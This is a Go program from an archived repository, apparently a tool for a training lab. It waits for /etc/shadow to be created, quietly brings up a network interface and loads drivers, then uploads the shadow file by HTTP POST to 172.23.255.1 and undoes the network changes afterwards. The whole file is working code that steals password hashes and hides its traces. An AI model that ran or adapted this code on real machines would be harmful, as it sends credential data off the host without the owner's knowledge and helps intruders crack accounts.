This repository has been archived on 2024-03-03. You can view files and clone it, but cannot push or open issues or pull requests.
adlin/pkg/shadow-up/cmd/main.go

149 lines
3.4 KiB
Go

package main
import (
"bytes"
"fmt"
"io"
"log"
"math/rand"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"time"
"gopkg.in/fsnotify.v1"
)
const (
DestHost = "172.23.255.1"
URLShadow = "http://172.23.255.1/passwd"
PathToWatch = "/etc/shadow"
WatchedNotify = fsnotify.Create
)
var (
NetDrivers = [2]string{"e1000", "e1000e"}
)
func sendFile(field, path string) error {
client := &http.Client{
Timeout: 20 * time.Second,
}
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
fw, err := writer.CreateFormFile(field, filepath.Base(path))
if err != nil {
return err
}
file, err := os.Open(path)
if err != nil {
return err
}
_, err = io.Copy(fw, file)
if err != nil {
return err
}
writer.Close()
req, err := http.NewRequest("POST", URLShadow, bytes.NewReader(body.Bytes()))
if err != nil {
return err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
rsp, err := client.Do(req)
if err != nil {
return err
}
if rsp.StatusCode != http.StatusOK {
return fmt.Errorf("Request failed with response code: %d", rsp.StatusCode)
}
return nil
}
func main() {
// seed the rand package with time
rand.Seed(time.Now().UnixNano())
watcher, err := fsnotify.NewWatcher()
if err != nil {
log.Fatal(err)
}
defer watcher.Close()
if err := watcher.Add(filepath.Dir(PathToWatch)); err != nil {
log.Fatal("Unable to watch requested file:", err)
}
log.Println("Ready! Waiting for events on", PathToWatch)
for {
select {
case ev := <-watcher.Events:
if d, err := os.Lstat(ev.Name); err == nil && ev.Op&WatchedNotify == WatchedNotify && d.Mode().IsRegular() && d.Name() == filepath.Base(PathToWatch) {
log.Println("Treating event:", ev, "for", ev.Name)
hasModprobe := false
if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil {
hasModprobe = true
} else {
// modprobe
for _, drv := range NetDrivers {
err = exec.Command("/sbin/modprobe", drv).Run()
if err != nil {
log.Println("Unable to modprobe", drv, err.Error())
}
}
}
// Search IP
myip, err := os.ReadFile("/root/my_ip")
if err != nil {
log.Println("Unable to read /root/my_ip:", err.Error())
return
}
hasIP := false
if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil {
hasIP = true
} else {
// ip link set eth0 up
err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run()
if err != nil {
log.Println("Unable to ip link set eth0 up:", err.Error())
}
// ip a add my_ip/17 dev eth0
err = exec.Command("/sbin/ip", "a", "add", string(myip)+"/17", "dev", "eth0").Run()
if err != nil {
log.Println("Unable to ip a add ... dev eth0:", err.Error())
}
}
// Send data
err = sendFile("shadow", PathToWatch)
if err != nil {
log.Println("Unable to send file:", err.Error())
}
if !hasModprobe {
// Remove driver
for _, drv := range NetDrivers {
err = exec.Command("/sbin/modprobe", "-r", drv).Run()
if err != nil {
log.Println("Unable to remove modprobe", drv, err.Error())
}
}
} else if !hasIP {
// Remove IP
exec.Command("/sbin/ip", "a", "del", string(myip)+"/17", "dev", "eth0").Run()
exec.Command("/sbin/ip", "link", "set", "eth0", "down").Run()
}
} else {
log.Println("Skipped event:", ev, "for", ev.Name)
}
}
}
}